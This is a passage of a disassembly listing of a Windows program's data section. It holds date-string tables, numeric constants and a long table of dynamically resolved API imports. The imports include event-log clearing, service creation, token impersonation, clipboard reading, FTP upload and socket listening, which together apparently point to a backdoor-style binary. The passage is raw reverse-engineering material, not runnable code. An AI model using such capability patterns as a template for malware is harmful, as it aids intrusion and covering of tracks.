off_44C09C	dd offset off_44C01C	; DATA XREF: sub_42D078+D0r
					; sub_42D078+EFr ...
off_44C0A0	dd offset off_44C05C	; DATA XREF: sub_42D078+109r
					; sub_42D078+130r ...
		align 8
dword_44C0A8	dd 0FFFFFFFFh						; sub_42D320+1Er ...
dword_44C0AC	dd 0							; sub_42D4CC+BFw
dword_44C0B0	dd 0							; sub_42D4CC+E0w
		align 8
dword_44C0B8	dd 0FFFFFFFFh						; sub_42D320+26r ...
dword_44C0BC	dd 0							; sub_42D4CC+EAw ...
dword_44C0C0	dd 0							; sub_42D4CC+23r ...
dword_44C0C4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_44C0F4	dd 16Dh							; sub_42D4CC+2Er ...
dword_44C0F8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch
dword_44C12C	dd 2694h						; sub_429EE1+46r
		dd offset off_44C138
		align 8
off_44C138	dd offset aSun		; DATA XREF: .text:0044C130o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset dword_42FB30+2Ch
		dd offset dword_42FB30+28h
		dd offset dword_42FB30+24h
		dd offset dword_42FB30+20h
		dd offset dword_42FB30+1Ch
		dd offset dword_42FB30+18h
		dd offset dword_42FB30+14h
		dd offset dword_42FB30+10h
		dd offset dword_42FB30+0Ch
		dd offset dword_42FB30+8
		dd offset dword_42FB30+4
		dd offset dword_42FB30
		dd offset off_42FB2C
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset dword_42FB30+18h
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset dword_42FA80+44h
		dd offset dword_42FA80+40h
		dd offset dword_42FA80+3Ch
		dd offset dword_42FA80+34h
		dd offset dword_42FA80+20h
		dd offset dword_42FA80+18h
		align 8
dword_44C1E8	dd 2Eh,	0			dd offset dword_44C1E8
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd offset dword_631754
		dd 2 dup(7F7F7F7Fh), 44C1F0h, 3	dup(0)
dword_44C230	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_44C390	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42EB32+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
dword_44C4F0	dd 0							; sub_40203F+9w
dword_44C4F4	dd 0							; sub_40203F+21r
dword_44C4F8	dd 0							; sub_40203F+27r
		align 10h
dword_44C500	dd 0							; sub_40203F+83r
		dd 21h dup(0)
dword_44C588	dd 0							; sub_4015FC+AEw ...
dword_44C58C	dd 0							; sub_40178D+136r ...
		dd 382h	dup(0)
dword_44D398	dd 6 dup(0)						; sub_40178D+15Do ...
dword_44D3B0	dd 4 dup(0)	dword_44D3C0	dd 0		dword_44D3C4	dd 41h dup(0)	dword_44D4C8	dd 41h dup(0)	dword_44D5CC	dd 0							; sub_401477+111r
dword_44D5D0	dd 0		dword_44D5D4	dd 0							; sub_401477+B5r
dword_44D5D8	dd 20h dup(0)	dword_44D658	dd 0		dword_44D65C	dd 0		dword_44D660	dd 0		dword_44D664	dd 0							; sub_401477:loc_4015A9r
dword_44D668	dd 0		dword_44D66C	dd 0							; sub_402190+8Fr ...
dword_44D670	dd 4 dup(0)	dword_44D680	dd 0							; sub_402190+58w ...
dword_44D684	dd 0		; resolved to->NTDLL.RtlInitUnicodeString					; sub_401C4A+35r ...
dword_44D688	dd 0		; resolved to->NTDLL.ZwOpenSection					; sub_401D57+78r ...
dword_44D68C	dd 0							; sub_401C4A+2Dr ...
dword_44D690	dd 0							; sub_401E76r ...
dword_44D694	dd 0							; sub_401D57+95r ...
dword_44D698	dd 2 dup(0)	word_44D6A0	dw 0			; DATA XREF: sub_402A06+13o
					; sub_41FE93+C2o ...
		align 4
byte_44D6A4	db 0			; DATA XREF: sub_403B2C+41Ao
					; sub_403B2C+494o ...
		align 4
byte_44D6A8	db 0			; DATA XREF: sub_40323F+Eo
					; sub_40323F+48w ...
		align 4
		dd 31h dup(0)
dword_44D770	dd 0							; sub_4033F0:loc_403588w ...
dword_44D774	dd 0							; sub_4033F0+3Aw ...
		dd 0
dword_44D77C	dd 0							; sub_4035A8+3Ar
		dd 7Fh dup(0)
dword_44D97C	dd 0							; sub_4035A8+54w
		dd 9B3h	dup(0)
		db 2 dup(0)
word_45004E	dw 0			; DATA XREF: .text:off_44736Co
byte_450050	db 3 dup(0)		; DATA XREF: .text:004473B8o
byte_450053	db 0			; DATA XREF: .text:004473A8o
dword_450054	dd 0F8Fh dup(0)	dword_453E90	dd 0							; sub_403B2C+1A1Bo
dword_453E94	dd 41h dup(0)						; sub_403A30+27o ...
dword_453F98	dd 41h dup(0)	dword_45409C	dd 0							; sub_403B2C+1A2Dr ...
dword_4540A0	dd 0		dword_4540A4	dd 0							; sub_403B2C+1995w ...
dword_4540A8	dd 21h dup(0)	dword_45412C	dd 0		dword_454130	dd 0		dword_454134	dd 0							; sub_403B2C:loc_4055CDr
dword_454138	dd 0				align 10h
dword_454140	dd 20h dup(0)						; sub_40B122+14o
dword_4541C0	dd 0		; resolved to->KERNEL32.Module32First					; sub_40BB43+62w
dword_4541C4	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_40BB43+8A9r ...
dword_4541C8	dd 0							; sub_40BB43+A00r
dword_4541CC	dd 0							; sub_40BB43+9D0r ...
dword_4541D0	dd 0							; sub_40BB43+9F8r
dword_4541D4	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_40BB43+42Fr ...
dword_4541D8	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_418B58+132r
dword_4541DC	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_40BB43+437r ...
dword_4541E0	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40BB43+45Fr
dword_4541E4	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_402E92+5Er ...
dword_4541E8	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_40BB43+DCr
dword_4541EC	dd 0							; sub_40BB43+9C3r ...
dword_4541F0	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_40BB43+44Fr ...
dword_4541F4	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_40BB43+8D5r ...
dword_4541F8	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_40BB43+2BAr ...
dword_4541FC	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_40BB43+8CDr ...
dword_454200	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_40BB43+104r
dword_454204	dd 0		; resolved to->WININET.InternetReadFile					; sub_40BB43+8DDr ...
dword_454208	dd 0		; resolved to->ADVAPI32.LockServiceDatabase					; sub_40BB43+46Fr ...
dword_45420C	dd 0		; resolved to->ADVAPI32.RegEnumValueA					; sub_40BB43+2DAr ...
dword_454210	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_40BB43+6DBr
dword_454214	dd 0		; resolved to->KERNEL32.Process32Next					; sub_40BB43+D4r
dword_454218	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_40BB43+A4Ew ...
dword_45421C	dd 0		; resolved to->WININET.FtpGetFileAdword_454220	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_40BB43+FCr
dword_454224	dd 0							; sub_40BB43+C2Cr ...
dword_454228	dd 0		; resolved to->WS2_32.ntohl					; sub_40BB43+5F4w
dword_45422C	dd 0							; sub_40BB43+9F0r ...
dword_454230	dd 0		; resolved to->WS2_32.ntohs					; sub_40BB43+75Fr ...
dword_454234	dd 0		dword_454238	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_40BB43+896r ...
dword_45423C	dd 0		; resolved to->USER32.ExitWindowsExdword_454240	dd 0							; sub_40BB43+9D8r ...
dword_454244	dd 0		; resolved to->ADVAPI32.ControlService					; sub_40BB43+43Fr ...
dword_454248	dd 0		; resolved to->ADVAPI32.OpenThreadToken					; sub_40BB43+31Fr ...
dword_45424C	dd 0		; resolved to->ADVAPI32.CloseEventLog					; sub_40BB43+4E8w
dword_454250	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_40BB43+447r ...
dword_454254	dd 0		; resolved to->WS2_32.getpeernamedword_454258	dd 0		; resolved to->WS2_32.WSACleanup					; sub_40BB43+57Fw ...
dword_45425C	dd 0							; sub_40BB43+A08r ...
dword_454260	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_40BB43+2C2r ...
dword_454264	dd 0		; resolved to->ADVAPI32.RegEnumKeyExA					; sub_415EA7+87r ...
dword_454268	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_40BB43+E4r
dword_45426C	dd 0		; resolved to->ADVAPI32.SetServiceStatus					; sub_41B226+14Dr ...
dword_454270	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_40BB43+BBBr ...
dword_454274	dd 0		; resolved to->WS2_32.WSAStartup					; sub_40BB43+6BEr ...
dword_454278	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_40BB43+8B9r ...
dword_45427C	dd 0		; resolved to->USER32.CloseWindow					; sub_40BB43+1AFr
dword_454280	dd 0							; sub_40BB43+9E0r ...
dword_454284	dd 0		; resolved to->ADVAPI32.QueryServiceLockStatusA					; sub_40BB43+477r ...
dword_454288	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_40BB43+4DBw ...
dword_45428C	dd 0		; resolved to->ADVAPI32.RegDeleteKeyA					; sub_40BB43+2CAr ...
dword_454290	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_40BB43+4CEw ...
dword_454294	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_40BB43+6F3r
dword_454298	dd 0		; resolved to->WININET.InternetOpenA					; sub_40BB43+89Cr
dword_45429C	dd 0		; resolved to->SHLWAPI.PathRemoveFileSpecA					; sub_40CDE2+312r ...
dword_4542A0	dd 0		; resolved to->USER32.IsWindow					; sub_40BB43+1CCr ...
dword_4542A4	dd 0		; resolved to->IPHLPAPI.GetNetworkParamsdword_4542A8	dd 0		; resolved to->WS2_32.getsockname					; sub_403B2C+6ED9r ...
dword_4542AC	dd 0		; resolved to->WS2_32.connect					; sub_4016B4+91r ...
dword_4542B0	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_40BB43+6E7r ...
dword_4542B4	dd 0		; resolved to->ADVAPI32.RegQueryInfoKeyA					; sub_41A60E+7Ar
dword_4542B8	dd 0							; sub_40BB43:loc_40C465w ...
dword_4542BC	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_40BB43+2AAr ...
dword_4542C0	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_40BB43+7C7r ...
dword_4542C4	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_40BB43+334r ...
dword_4542C8	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_40BB43+457r ...
dword_4542CC	dd 0							; sub_418436+B5r ...
dword_4542D0	dd 0							; sub_40BB43+C39r ...
dword_4542D4	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_40BB43+8B1r ...
dword_4542D8	dd 0		; resolved to->USER32.OpenClipboard					; sub_40BB43+1DCr
dword_4542DC	dd 0		; resolved to->IPHLPAPI.GetIfTable					; sub_40BB43+ADFr ...
dword_4542E0	dd 0		; resolved to->WININET.InternetConnectA					; sub_40BB43+8C1r ...
dword_4542E4	dd 0		; resolved to->WSOCK32.recvfrom					; sub_40BB43+77Fr
dword_4542E8	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_40BB43+2D2r ...
dword_4542EC	dd 0							; sub_416208+86r
dword_4542F0	dd 0		; resolved to->WSOCK32.setsockopt					; sub_40BB43+669w ...
dword_4542F4	dd 0		; resolved to->IPHLPAPI.GetTcpTable					; sub_40BB43+AEBr
dword_4542F8	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_40BB43+32Cr ...
dword_4542FC	dd 0		; resolved to->WS2_32.select					; sub_402190+120r ...
dword_454300	dd 0		; resolved to->USER32.GetClipboardData					; sub_40BB43+1E4r
dword_454304	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_40BB43+422r ...
dword_454308	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_45430C	dd 0							; sub_40BB43+C41r ...
dword_454310	dd 0		; resolved to->WS2_32.ntohl					; sub_402F12+7r ...
dword_454314	dd 0		; resolved to->WS2_32.ntohs					; sub_4016B4+70r ...
dword_454318	dd 0		; resolved to->KERNEL32.Process32First					; sub_40BB43+CCr
dword_45431C	dd 0		; resolved to->USER32.FindWindowA					; sub_40BB43+1C4r ...
dword_454320	dd 0		dword_454324	dd 0		; resolved to->WS2_32.gethostname					; sub_40BB43+7B7r ...
dword_454328	dd 0		; resolved to->ADVAPI32.RegisterServiceCtrlHandlerA					; sub_40BB43+48Fr ...
dword_45432C	dd 0		; resolved to->ADVAPI32.UnlockServiceDatabase					; sub_40BB43+487r ...
dword_454330	dd 0		; resolved to->WSOCK32.recv					; sub_401160+19Cr ...
dword_454334	dd 0							; sub_416C0B+65r
dword_454338	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40BB43+C4r
dword_45433C	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_40BB43+2B2r ...
dword_454340	dd 0		; resolved to->WS2_32.listen					; sub_40BB43+64Fw ...
dword_454344	dd 0		; resolved to->WS2_32.bind					; sub_40BB43+635w ...
dword_454348	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40CDE2+122r ...
dword_45434C	dd 0		; resolved to->WS2_32.inet_addr					; sub_40178D+2Cr ...
dword_454350	dd 0		; resolved to->WS2_32.send					; sub_401160+17Fr ...
dword_454354	dd 0		; resolved to->KERNEL32.GetComputerNameA					; sub_4108C7+25r ...
dword_454358	dd 0		; resolved to->USER32.CloseClipboard					; sub_40BB43+1ECr
dword_45435C	dd 0							; sub_40BB43+A10r
dword_454360	dd 0		; resolved to->USER32.SendMessageA					; sub_40BB43+1BCr ...
dword_454364	dd 0							; sub_418436+E1r
dword_454368	dd 0		; resolved to->IPHLPAPI.GetUdpTabledword_45436C	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_40BB43+ECr
dword_454370	dd 0		; resolved to->WS2_32.sendto					; sub_40BB43+76Fr ...
dword_454374	dd 0							; sub_40BB43+B76r ...
dword_454378	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_418614+80r ...
dword_45437C	dd 0		; resolved to->ADVAPI32.CreateServiceA					; sub_412EB7+BEr ...
dword_454380	dd 0		; resolved to->WININET.FtpPutFileAdword_454384	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_40BB43+29Dr ...
dword_454388	dd 0		; resolved to->SHELL32.SHChangeNotifydword_45438C	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40BB43+AD7r ...
dword_454390	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_40BB43+ACAr ...
dword_454394	dd 0		; resolved to->WS2_32.socket					; sub_4016B4+54r ...
dword_454398	dd 0		; resolved to->WS2_32.gethostbyname					; sub_40BB43+7BFr ...
dword_45439C	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_4016B4+14r ...
dword_4543A0	dd 0							; sub_40BB43+9E8r ...
dword_4543A4	dd 0		; resolved to->WS2_32.accept					; sub_40BB43+65Cw ...
dword_4543A8	dd 0		; resolved to->WS2_32.shutdown					; sub_41012A+22r
dword_4543AC	dd 0		; resolved to->WS2_32.closesocket					; sub_4016B4+C3r ...
dword_4543B0	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_402190+95r ...
dword_4543B4	dd 0							; sub_40BB43+B6Er
dword_4543B8	dd 0		; resolved to->WS2_32.WSASocketA					; sub_40BB43+6CFr
dword_4543BC	dd 0							; sub_40BB43+B61r ...
dword_4543C0	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_40BB43+B7r ...
dword_4543C4	dd 0		; resolved to->USER32.DestroyWindow					; sub_40BB43+1D4r
dword_4543C8	dd 0		; resolved to->ADVAPI32.ImpersonateLoggedOnUser					; sub_40BB43+467r ...
dword_4543CC	dd 0		; resolved to->ADVAPI32.ChangeServiceConfig2A					; sub_40BB43+47Fr ...
dword_4543D0	dd 0		; resolved to->ADVAPI32.StartServiceCtrlDispatcherA					; sub_4120E9+15Fr
dword_4543D4	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_40BB43+F4r ...
dword_4543D8	dd 0		dword_4543DC	dd 0		dword_4543E0	dd 0		dword_4543E4	dd 0		dword_4543E8	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40BB43:loc_40BE29w ...
		align 10h
dword_4543F0	dd 0		dword_4543F4	dd 0		dword_4543F8	dd 0		dword_4543FC	dd 0							; sub_40BB43+918w ...
dword_454400	dd 0		dword_454404	dd 0		dword_454408	dd 0		dword_45440C	dd 0		dword_454410	dd 0		dword_454414	dd 0							; sub_40BB43:loc_40C65Ew ...
		dd 0
dword_45441C	dd 0		dword_454420	dd 0		dword_454424	dd 0		dword_454428	dd 0		dword_45442C	dd 0		dword_454430	dd 0							; sub_40BB43+C63w
dword_454434	dd 0		dword_454438	dd 0							; sub_415DBD:loc_415E3Dr
dword_45443C	dd 0		dword_454440	dd 0		dword_454444	dd 0		dword_454448	dd 0		dword_45444C	dd 0		dword_454450	dd 0							; sub_40FA20+94r ...
		align 8
dword_454458	dd 4 dup(0)	dword_454468	dd 4 dup(0)	byte_454478	db 0			; DATA XREF: sub_410930+Bo
					; sub_410930+5Aw
		align 4
		dd 3 dup(0)
dword_454488	dd 4 dup(0)	dword_454498	dd 4 dup(0)	dword_4544A8	dd 0		byte_4544AC	db 0			; DATA XREF: sub_4108C7+Ao
					; sub_4108C7+2Br
		align 10h
		dd 3 dup(0)
dword_4544BC	dd 4 dup(0)	byte_4544CC	db 0			; DATA XREF: sub_410882+5o
					; sub_410882+2Cw ...
		align 10h
		dd 3 dup(0)
byte_4544DC	db 0			; DATA XREF: sub_41099D+10o
					; sub_41099D+107w
		align 10h
		dd 3 dup(0)
dword_4544EC	dd 4 dup(0)	dword_4544FC	dd 4 dup(0)	dword_45450C	dd 0							; sub_40FFB4+B3w ...
dword_454510	dd 0							; sub_40FCF7+35r ...
		align 10h
dword_454520	dd 0							; sub_40FDC0+1o ...
		align 10h
dword_454530	dd 0							; sub_40FE00+35r
		dd 86h dup(0)
		db 0
byte_45474D	db 3 dup(0)		; DATA XREF: sub_40FCF7+13o
					; sub_40FD55+4Eo ...
dword_454750	dd 0							; sub_412069+Ao ...
		dd 2 dup(0)
		db 0
byte_45475D	db 3 dup(0)		; DATA XREF: sub_40FDC0+36o
		dd 2 dup(0)
dword_454768	dd 0							; sub_412069+60r
		dd 1A5h	dup(0)
dword_454E00	dd 134h	dup(0)	dword_4552D0	dd 4 dup(0)						; sub_4016B4+Co ...
dword_4552E0	dd 0				align 8
dword_4552E8	dd 28h dup(0)						; sub_418F30:loc_419079o
dword_455388	dd 4 dup(0)						; sub_4016B4+2Ao ...
dword_455398	dd 0		dword_45539C	dd 0							; sub_412267+492w ...
dword_4553A0	dd 0				align 8
dword_4553A8	dd 42h dup(0)						; sub_41B69D+60o
dword_4554B0	dd 10h dup(0)						; .text:loc_41205Fo ...
dword_4554F0	dd 0				align 8
dword_4554F8	dd 40h dup(0)	dword_4555F8	dd 0		dword_4555FC	dd 0							; sub_41F455+C0r
dword_455600	dd 0							; sub_403B2C:loc_405497r
		align 8
byte_455608	db 0			; DATA XREF: sub_41A0E6+56o
					; sub_41D499+1F7o
byte_455609	db 3 dup(0)		; DATA XREF: sub_41A15F+23o
					; sub_41D499+20Fo
dword_45560C	dd 0							; sub_4128D4+2E5o
dword_455610	dd 123h	dup(0)						; sub_41391C+3B4o ...
dword_455A9C	dd 0							; sub_41391C+49Ao
		dd 4 dup(0)
dword_455AB0	dd 0							; sub_416F48+12Dr ...
		align 8
byte_455AB8	db 0			; DATA XREF: sub_416B4C+66o
					; sub_4170D5+28o ...
		align 4
		dd 0FFh	dup(0)
dword_455EB8	dd 0							; sub_4143AB+58r ...
dword_455EBC	dd 0							; sub_4176B1+28r
dword_455EC0	dd 0							; sub_4143AB+3Br ...
dword_455EC4	dd 0							; sub_4174BE+1Fr ...
dword_455EC8	dd 0							; sub_416F48+15Ar ...
dword_455ECC	dd 0							; sub_4156F3+9o
dword_455ED0	dd 0							; sub_416F48+152r ...
dword_455ED4	dd 0							; sub_414508+8Do
dword_455ED8	dd 0							; sub_414508+121w
dword_455EDC	dd 0							; sub_4143AB+F3r ...
		dd 4 dup(0)
dword_455EF0	dd 0Dh dup(0)						; sub_414508:loc_414647o
dword_455F24	dd 0							; sub_416F48+13Ar ...
dword_455F28	dd 0							; sub_416F48+14Ar ...
dword_455F2C	dd 0							; sub_416F48+142r ...
byte_455F30	db 0			; DATA XREF: sub_417583+21o
					; sub_417583+45r
		align 4
		dd 0A01h dup(0)
dword_458738	dd 0							; sub_415EA7+11Bo ...
		dd 18h dup(0)
byte_45879C	db 0			; DATA XREF: sub_415EA7+1D5w
					; sub_415EA7+30Ew ...
		align 10h
		dd 18h dup(0)
dword_458800	dd 0							; sub_415EA7+270o ...
		dd 0E73h dup(0)
dword_45C1D0	dd 0							; sub_415EA7+131r ...
dword_45C1D4	dd 0							; sub_4170D5+1Cw ...
dword_45C1D8	dd 0							; sub_416F48+71w ...
dword_45C1DC	dd 0							; sub_416F48+40w ...
dword_45C1E0	dd 0		dword_45C1E4	dd 0							; sub_417583+5r ...
dword_45C1E8	dd 0		dword_45C1EC	dd 0							; sub_417583+Dr
dword_45C1F0	dd 4Eh dup(0)						; sub_417989+4Co
dword_45C328	dd 20h dup(0)	dword_45C3A8	dd 0							; sub_417A90:loc_417B2Er
dword_45C3AC	dd 0Dh dup(0)	dword_45C3E0	dd 0							; sub_41A829+5Ew ...
		dd 4000h dup(0)
dword_46C3E4	dd 0							; sub_41B424+63r ...
dword_46C3E8	dd 0							; sub_41B387+50w
dword_46C3EC	dd 0							; sub_41B387+8w ...
dword_46C3F0	dd 0							; sub_41B387+1Cw ...
dword_46C3F4	dd 0		dword_46C3F8	dd 0		dword_46C3FC	dd 0		dword_46C400	dd 0							; sub_41B387+5Bw
dword_46C404	dd 0							; sub_41B387+61w
dword_46C408	dd 0							; sub_41BED7+27o ...
		dd 3FFh	dup(0)
dword_46D408	dd 0							; sub_41BED7+75w ...
dword_46D40C	dd 0							; sub_401906+47r ...
dword_46D410	dd 0							; sub_414508+16Bw ...
dword_46D414	dd 0							; sub_40178D+FCw ...
dword_46D418	dd 0							; sub_41C059+24w
dword_46D41C	dd 0							; sub_41C059+2Aw
		dd 0B0Bh dup(0)
		db 3 dup(0)
byte_47004F	db 0			; DATA XREF: .text:00447374o
		dd 7FFFh dup(0)
		db 0
byte_49004D	db 3 dup(0)		; DATA XREF: .text:004473D0o
					; .text:00447584o
dword_490050	dd 0C001h dup(0)dword_4C0054	dd 563Fh dup(0)			db 3 dup(0)
byte_4D5953	db 0			; DATA XREF: .text:off_441A58o
		dd 29BDh dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: .text:004473E0o
					; .text:00447574o
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .text:00447378o
		dd 103Fh dup(0)
dword_4E414C	dd 202h	dup(0)			db 3 dup(0)
byte_4E4957	db 0			; DATA XREF: .text:off_4388B8o
		dd 27Ah	dup(0)
		db 0
byte_4E5341	db 3 dup(0)		; DATA XREF: .text:off_441A2Co
		dd 6B2Eh dup(0)
		db 3 dup(0)
byte_4FFFFF	db 0			; DATA XREF: sub_417A90+1B5o
		dd 12h dup(0)
		db 0
byte_500049	db 3 dup(0)		; DATA XREF: .text:off_4473C0o
					; .text:off_447590o
dword_50004C	dd 1102h dup(0)			db 0
byte_504455	db 3 dup(0)		; DATA XREF: .text:off_434CCCo
		dd 6EFAh dup(0)
		db 2 dup(0)
word_520042	dw 0			; DATA XREF: .text:off_4473A0o
		align 10h
dword_520050	dd 0							; .text:off_447570o
dword_520054	dd 4933h dup(0)	dword_532520	dd 47CCh dup(0)	dword_544450	dd 3C0h	dup(0)	dword_545350	dd 3C3Dh dup(0)			db 0
byte_554445	db 3 dup(0)		; DATA XREF: .text:0043D1CCo
		dd 1C0h	dup(0)
dword_554B48	dd 6D41h dup(0)			db 3 dup(0)
byte_57004F	db 0			; DATA XREF: .text:004473A4o
		dd 3FFDh dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: .text:off_436A28o
					; .text:00436A30o ...
		dd 53BEh dup(0)
		db 2 dup(0)
word_594F42	dw 0			; DATA XREF: .text:off_4337A8o
		dd 0AC38h dup(0)
dword_5C0024	dd 7 dup(0)			db 3 dup(0)
byte_5C0043	db 0			; DATA XREF: .text:004473C4o
		dd 2 dup(0)
		db 2 dup(0)
word_5C004E	dw 0			; DATA XREF: .text:004473D4o
		db 2 dup(0)
word_5C0052	dw 0			; DATA XREF: .text:004473ACo
					; .text:004473E8o
		dd 0E7Bh dup(0)
		db 0
byte_5C3A41	db 3 dup(0)		; DATA XREF: .text:off_43E640o
		dd 0CCFEh dup(0)
		db 3 dup(0)
byte_5F6E3F	db 0			; DATA XREF: .text:off_43B54Bo
		dd 387h	dup(0)
		db 3 dup(0)
byte_5F7C5F	db 0			; DATA XREF: .text:off_4337D8o
		dd 6128h dup(0)
dword_610100	dd 1818h dup(0)			db 0
byte_616161	db 3 dup(0)		; DATA XREF: .text:off_43D50Co
		dd 72h dup(0)
		db 2 dup(0)
word_61632E	dw 0			; DATA XREF: .text:off_442590o
		dd 14Ch	dup(0)
		db 0
